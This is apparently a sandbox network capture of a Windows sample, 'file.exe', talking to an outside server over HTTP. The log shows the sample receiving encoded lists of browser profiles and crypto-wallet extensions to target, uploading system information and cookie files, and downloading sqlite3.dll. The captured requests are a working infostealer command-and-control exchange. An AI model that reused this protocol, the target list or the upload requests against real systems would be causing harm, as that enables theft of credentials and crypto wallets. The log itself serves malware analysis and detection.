Oct 28, 2024 18:43:04.288943052 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 45 34 4e 7a 52 6a 5a 54 64 6a 5a 6d 45 77 4e 32 5a 6b 4d 54 4d 33 59 57 45 34 4e 44 6c 6a 59 57 46 6a 4d 54 49 7a 4e 47 49 79 59 7a 4a 6b 4d 7a 49 32 59 6a 51 35 59 32 49 79 4d 6a 41 31 4e 47 5a 68 59 32 4e 6a 4d 44 6b 77 4f 54 49 34 4e 44 46 6d 5a 6d 51 77 4d 6a 59 32 59 6a 46 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzE4NzRjZTdjZmEwN2ZkMTM3YWE4NDljYWFjMTIzNGIyYzJkMzI2YjQ5Y2IyMjA1NGZhY2NjMDkwOTI4NDFmZmQwMjY2YjFkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 28, 2024 18:43:04.295919895 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"browsers------JJDHIDBFBFHIJKFHCGIE--
Oct 28, 2024 18:43:04.588934898 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 28, 2024 18:43:04.589199066 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 28, 2024 18:43:04.590396881 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="message"plugins------BFHDHJKKJDHJJJJKEGHI--
Oct 28, 2024 18:43:04.880629063 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 28, 2024 18:43:04.880646944 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 28, 2024 18:43:04.881165981 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 28, 2024 18:43:04.881181955 CET	1236	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2p
Oct 28, 2024 18:43:04.881198883 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 28, 2024 18:43:04.881344080 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 28, 2024 18:43:04.881359100 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 28, 2024 18:43:04.883088112 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="message"fplugins------GHDHDGHJEBGIDGDGIJJK--
Oct 28, 2024 18:43:05.167848110 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 28, 2024 18:43:05.189137936 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDH Host: 185.215.113.206 Content-Length: 5415 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 18:43:05.189193010 CET	5415	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 28, 2024 18:43:05.992126942 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:06.228296995 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:06.523550987 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 28, 2024 18:43:06.524074078 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 28, 2024 18:43:06.524108887 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	63435	185.215.113.206	80	2792	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 18:43:19.669564962 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCB Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 18:43:19.669641018 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 28, 2024 18:43:21.067892075 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:21.273262024 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: 